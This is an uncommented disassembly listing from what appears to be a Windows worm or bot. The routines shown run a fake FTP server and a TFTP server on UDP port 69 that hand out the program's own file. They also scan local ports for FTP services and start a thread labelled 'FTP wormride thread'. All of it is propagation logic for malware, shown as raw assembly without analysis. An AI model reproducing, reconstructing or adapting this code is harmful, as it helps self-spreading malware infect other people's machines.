		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_51C], eax
		cmp	[ebp+var_51C], 0
		jnz	short loc_411278
		mov	[ebp+var_51C], offset byte_41DE30

loc_411278:				; CODE XREF: sub_41113B+131j
		lea	eax, [ebp+var_108]
		push	eax
		push	offset dword_41C6AC
		push	0
		call	sub_40813C
		add	esp, 0Ch
		push	[ebp+var_528]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_524], eax
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C6A0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4112FD
		mov	[ebp+var_4], 1
		push	offset dword_41C698
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------

loc_4112FD:				; CODE XREF: sub_41113B+178j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C68C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_41135D
		mov	[ebp+var_118], 1
		push	offset dword_41C684
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------

loc_41135D:				; CODE XREF: sub_41113B+1D5j
		cmp	[ebp+var_4], 0
		jz	short loc_41136C
		cmp	[ebp+var_118], 0
		jnz	short loc_411371

loc_41136C:				; CODE XREF: sub_41113B+226j
		jmp	loc_4111CC
; ---------------------------------------------------------------------------

loc_411371:				; CODE XREF: sub_41113B+22Fj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C678
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4113C7
		push	offset dword_41C670
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------

loc_4113C7:				; CODE XREF: sub_41113B+249j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C664
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_41141D
		push	offset dword_41C65C
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------

loc_41141D:				; CODE XREF: sub_41113B+29Fj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C654
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_411473
		push	offset dword_41C648
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------

loc_411473:				; CODE XREF: sub_41113B+2F5j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C63C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4114C9
		push	offset dword_41C634
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------

loc_4114C9:				; CODE XREF: sub_41113B+34Bj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C628
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_41151F
		push	offset dword_41C620
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------

loc_41151F:				; CODE XREF: sub_41113B+3A1j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C614
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_411622
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_52C]
		push	eax
		lea	eax, [ebp+var_540]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		lea	eax, [ebp+var_538]
		push	eax
		lea	eax, [ebp+var_530]
		push	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	[ebp+var_51C]
		call	sub_416BA2	; sscanf
		add	esp, 20h
		movzx	eax, [ebp+var_540]
		push	eax
		movzx	eax, [ebp+var_53C]
		push	eax
		movzx	eax, [ebp+var_538]
		push	eax
		movzx	eax, [ebp+var_530]
		push	eax
		push	offset dword_418A50
		push	100h
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 1Ch
		mov	eax, [ebp+var_52C]
		and	eax, 0FFh
		shl	eax, 8
		mov	ecx, [ebp+var_534]
		and	ecx, 0FFh
		or	eax, ecx
		push	eax
		push	offset dword_418A60
		push	6
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		push	offset dword_41C634
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------

loc_411622:				; CODE XREF: sub_41113B+3F7j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C5F4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_4116E9
		push	offset aRb	; "rb"
		push	offset dword_41EB2C
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_548], eax
		cmp	[ebp+var_548], 0
		jnz	short loc_411660
		jmp	loc_4119BA
; ---------------------------------------------------------------------------

loc_411660:				; CODE XREF: sub_41113B+51Ej
		push	2
		push	0
		push	[ebp+var_548]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_548]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_544], eax
		push	0
		push	0
		push	[ebp+var_548]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_548]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_544]
		push	offset dword_41C5E8
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------

loc_4116E9:				; CODE XREF: sub_41113B+4FAj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C5DC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_411873
		push	offset a150	; "150 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	0
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_54C], eax
		cmp	[ebp+var_54C], 0
		jz	short loc_411773
		cmp	[ebp+var_54C], 0FFFFFFFFh
		jnz	short loc_411778

loc_411773:				; CODE XREF: sub_41113B+62Dj
		jmp	loc_4119BA
; ---------------------------------------------------------------------------

loc_411778:				; CODE XREF: sub_41113B+636j
		push	offset aRb	; "rb"
		push	offset dword_41EB2C
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_554], eax
		cmp	[ebp+var_554], 0
		jnz	short loc_41179D
		jmp	loc_4119BA
; ---------------------------------------------------------------------------

loc_41179D:				; CODE XREF: sub_41113B+65Bj
		push	2
		push	0
		push	[ebp+var_554]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_554]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_550], eax
		push	0
		push	0
		push	[ebp+var_554]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_554]
		call	sub_416B82	; fclose
		pop	ecx
		push	offset dword_41EB2C
		push	[ebp+var_550]
		push	offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan	1 0:00 .\r\ndrwxr-x"...
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_54C]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_54C]
		call	sub_40538D
		pop	ecx
		push	offset dword_41C558
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------

loc_411873:				; CODE XREF: sub_41113B+5C1j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C54C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_411969
		push	offset a150	; "150 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_41102F
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_411967
		push	offset dword_41C558
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		push	1
		push	offset dword_41EB08
		call	sub_409C88
		pop	ecx
		pop	ecx
		inc	eax
		mov	[ebp+var_558], eax
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+var_558]
		push	offset aFtp_0	; "ftp"
		push	offset unk_41C520
		push	offset dword_41DAB4
		call	sub_40D4AB
		add	esp, 14h
		push	3E8h
		call	dword_41709C	; Sleep
		jmp	short loc_4119BA
; ---------------------------------------------------------------------------

loc_411967:				; CODE XREF: sub_41113B+7A4j
		jmp	short loc_4119BA
; ---------------------------------------------------------------------------

loc_411969:				; CODE XREF: sub_41113B+74Bj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C514
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4119BA
		push	offset a221	; "221 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch

loc_4119BA:				; CODE XREF: sub_41113B+A5j
					; sub_41113B:loc_411218j ...
		push	offset a231	; "231 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_10C]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		pop	edi
		leave
		retn	4
sub_41113B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A09	proc near		; CODE XREF: sub_411BBC+90p

var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		push	32h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_411A29
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------

loc_411A29:				; CODE XREF: sub_411A09+17j
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411A58
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_411A5F

loc_411A58:				; CODE XREF: sub_411A09+44j
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------

loc_411A5F:				; CODE XREF: sub_411A09+4Dj
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407BF5
		pop	ecx
		push	offset dword_41C6D8
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_411A8A
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------

loc_411A8A:				; CODE XREF: sub_411A09+78j
		push	offset dword_41C6CC
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	32h
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411AEE
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_411AF5

loc_411AEE:				; CODE XREF: sub_411A09+DAj
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------

loc_411AF5:				; CODE XREF: sub_411A09+E3j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407BF5
		pop	ecx
		push	offset dword_41C6C8
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_411B20
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------

loc_411B20:				; CODE XREF: sub_411A09+10Ej
		call	sub_410422
		push	eax
		push	offset dword_41C6BC
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	32h
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411B8B
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_411B8F

loc_411B8B:				; CODE XREF: sub_411A09+177j
		xor	eax, eax
		jmp	short locret_411BBA
; ---------------------------------------------------------------------------

loc_411B8F:				; CODE XREF: sub_411A09+180j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407BF5
		pop	ecx
		push	offset dword_41C6B8
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_411BB7
		xor	eax, eax
		jmp	short locret_411BBA
; ---------------------------------------------------------------------------

loc_411BB7:				; CODE XREF: sub_411A09+1A8j
		push	1
		pop	eax

locret_411BBA:				; CODE XREF: sub_411A09+1Bj
					; sub_411A09+51j ...
		leave
		retn
sub_411A09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411BBC	proc near		; CODE XREF: sub_411D59+6p

var_1C8		= dword	ptr -1C8h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= byte ptr -1BCh
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1C8h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	[ebp+var_4], 1
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		mov	[ebp+var_8], 1
		jmp	short loc_411C04
; ---------------------------------------------------------------------------

loc_411BFD:				; CODE XREF: sub_411BBC:loc_411CABj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_411C04:				; CODE XREF: sub_411BBC+3Fj
		cmp	[ebp+var_8], 0FFFFh
		jnb	loc_411CB0
		push	0Ah
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_8]
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	0FFFFFFFFh
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	offset a127_0_0_1 ; "127.0.0.1"
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_1C4], eax
		cmp	[ebp+var_1C4], 0
		jz	short loc_411CAB
		push	[ebp+var_1C4]
		call	sub_411A09
		pop	ecx
		test	eax, eax
		jz	short loc_411C9F
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_411C76
		push	2
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_10]
		call	sub_404871
		add	esp, 0Ch
		jmp	short loc_411C9F
; ---------------------------------------------------------------------------

loc_411C76:				; CODE XREF: sub_411BBC+A5j
		push	2
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_411C9F
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_411D55
; ---------------------------------------------------------------------------

loc_411C9F:				; CODE XREF: sub_411BBC+98j
					; sub_411BBC+B8j ...
		push	[ebp+var_1C4]
		call	sub_4053B1
		pop	ecx

loc_411CAB:				; CODE XREF: sub_411BBC+88j
		jmp	loc_411BFD
; ---------------------------------------------------------------------------

loc_411CB0:				; CODE XREF: sub_411BBC+4Fj
		cmp	[ebp+var_10], 0
		jnz	short loc_411CC9
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_411D55
; ---------------------------------------------------------------------------

loc_411CC9:				; CODE XREF: sub_411BBC+F8j
		mov	eax, [ebp+var_1C0]
		push	dword ptr [eax]
		push	offset unk_41C6DC
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch

loc_411CE5:				; CODE XREF: sub_411BBC:loc_411D3Cj
		push	3E8h
		push	[ebp+var_10]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C8], eax
		cmp	[ebp+var_1C8], 0
		jz	short loc_411D2E
		cmp	[ebp+var_1C8], 0FFFFFFFFh
		jz	short loc_411D2E
		push	[ebp+var_1C8]
		push	offset sub_41113B
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_411D2E
		push	[ebp+var_1C8]
		call	sub_4053B1
		pop	ecx

loc_411D2E:				; CODE XREF: sub_411BBC+145j
					; sub_411BBC+14Ej ...
		mov	eax, [ebp+var_1C0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_411D3C
		jmp	short loc_411D3E
; ---------------------------------------------------------------------------

loc_411D3C:				; CODE XREF: sub_411BBC+17Cj
		jmp	short loc_411CE5
; ---------------------------------------------------------------------------

loc_411D3E:				; CODE XREF: sub_411BBC+17Ej
		push	[ebp+var_10]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_411D55:				; CODE XREF: sub_411BBC+DEj
					; sub_411BBC+108j
		leave
		retn	4
sub_411BBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411D59	proc near		; DATA XREF: sub_411D68+4Eo

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_411BBC
		pop	ebp
		retn	4
sub_411D59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411D68	proc near		; CODE XREF: sub_40A9CF+70Fp
					; sub_40A9CF+735p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_4042FB
		test	eax, eax
		jz	short loc_411D77
		jmp	short locret_411DC3
; ---------------------------------------------------------------------------

loc_411D77:				; CODE XREF: sub_411D68+Bj
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_411D8D
		jmp	short locret_411DC3
; ---------------------------------------------------------------------------

loc_411D8D:				; CODE XREF: sub_411D68+21j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aFtpWormrideThr ; "FTP wormride thread"
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_411D59
		call	sub_4095A4
		add	esp, 10h

locret_411DC3:				; CODE XREF: sub_411D68+Dj
					; sub_411D68+23j
		leave
		retn
sub_411D68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411DC5	proc near		; DATA XREF: sub_4123F6+43o

var_DAC		= dword	ptr -0DACh
var_DA8		= dword	ptr -0DA8h
var_DA4		= dword	ptr -0DA4h
var_DA0		= byte ptr -0DA0h
var_D9C		= dword	ptr -0D9Ch
var_D98		= byte ptr -0D98h
var_D94		= dword	ptr -0D94h
var_D90		= dword	ptr -0D90h
var_D8C		= dword	ptr -0D8Ch
var_D88		= dword	ptr -0D88h
var_D84		= dword	ptr -0D84h
var_D80		= byte ptr -0D80h
var_D7C		= dword	ptr -0D7Ch
var_D70		= byte ptr -0D70h
var_D6F		= byte ptr -0D6Fh
var_D6E		= byte ptr -0D6Eh
var_D6D		= byte ptr -0D6Dh
var_D6C		= byte ptr -0D6Ch
var_B6C		= dword	ptr -0B6Ch
var_B68		= dword	ptr -0B68h
var_B64		= dword	ptr -0B64h
var_B60		= dword	ptr -0B60h
var_B5C		= dword	ptr -0B5Ch
var_B58		= dword	ptr -0B58h
var_358		= dword	ptr -358h
var_354		= byte ptr -354h
var_1B0		= word ptr -1B0h
var_1AE		= word ptr -1AEh
var_1AC		= dword	ptr -1ACh
var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_19B		= byte ptr -19Bh
var_19A		= byte ptr -19Ah
var_199		= byte ptr -199h
var_11C		= byte ptr -11Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DACh
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_358]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	0
		push	2
		push	2
		call	dword_417218	; socket
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0FFFFFFFFh
		jnz	short loc_411E1D
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4123F1
; ---------------------------------------------------------------------------

loc_411E1D:				; CODE XREF: sub_411DC5+43j
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_40449C
		pop	ecx
		pop	ecx
		push	10h
		push	0
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_1B0], 2
		push	45h
		call	dword_417238	; htons
		mov	[ebp+var_1AE], ax
		lea	eax, [ebp+var_104]
		push	eax
		call	dword_417244	; inet_addr
		mov	[ebp+var_1AC], eax
		mov	[ebp+var_1A0], 1
		push	4
		lea	eax, [ebp+var_1A0]
		push	eax
		push	4
		push	0FFFFh
		push	[ebp+var_108]
		call	dword_417204	; setsockopt
		push	10h
		lea	eax, [ebp+var_1B0]
		push	eax
		push	[ebp+var_108]
		call	dword_417208	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411EC2
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4123F1
; ---------------------------------------------------------------------------

loc_411EC2:				; CODE XREF: sub_411DC5+E8j
		push	offset aRb	; "rb"
		push	offset dword_41EB2C
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_10C], eax
		cmp	[ebp+var_10C], 0
		jnz	short loc_411F01
		push	[ebp+var_108]
		call	dword_417230	; closesocket
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4123F1
; ---------------------------------------------------------------------------

loc_411F01:				; CODE XREF: sub_411DC5+11Bj
		mov	eax, [ebp+var_358]
		push	dword ptr [eax]
		push	offset unk_41C788
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	2
		push	0
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_10C]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_4], eax
		push	0
		push	0
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	80h
		push	0
		lea	eax, [ebp+var_19C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch

loc_411F66:				; CODE XREF: sub_411DC5:loc_412084j
					; sub_411DC5:loc_4123C6j
		mov	[ebp+var_B64], 1
		and	[ebp+var_B60], 0
		and	[ebp+var_B5C], 0

loc_411F7E:				; CODE XREF: sub_411DC5+234j
		and	[ebp+var_B68], 0
		jmp	short loc_411F94
; ---------------------------------------------------------------------------

loc_411F87:				; CODE XREF: sub_411DC5:loc_411FB9j
		mov	eax, [ebp+var_B68]
		inc	eax
		mov	[ebp+var_B68], eax

loc_411F94:				; CODE XREF: sub_411DC5+1C0j
		mov	eax, [ebp+var_B68]
		cmp	eax, [ebp+var_B5C]
		jnb	short loc_411FBB
		mov	eax, [ebp+var_B68]
		mov	eax, [ebp+eax*4+var_B58]
		cmp	eax, [ebp+var_108]
		jnz	short loc_411FB9
		jmp	short loc_411FBB
; ---------------------------------------------------------------------------

loc_411FB9:				; CODE XREF: sub_411DC5+1F0j
		jmp	short loc_411F87
; ---------------------------------------------------------------------------

loc_411FBB:				; CODE XREF: sub_411DC5+1DBj
					; sub_411DC5+1F2j
		mov	eax, [ebp+var_B68]
		cmp	eax, [ebp+var_B5C]
		jnz	short loc_411FF5
		cmp	[ebp+var_B5C], 200h
		jnb	short loc_411FF5
		mov	eax, [ebp+var_B68]
		mov	ecx, [ebp+var_108]
		mov	[ebp+eax*4+var_B58], ecx
		mov	eax, [ebp+var_B5C]
		inc	eax
		mov	[ebp+var_B5C], eax

loc_411FF5:				; CODE XREF: sub_411DC5+202j
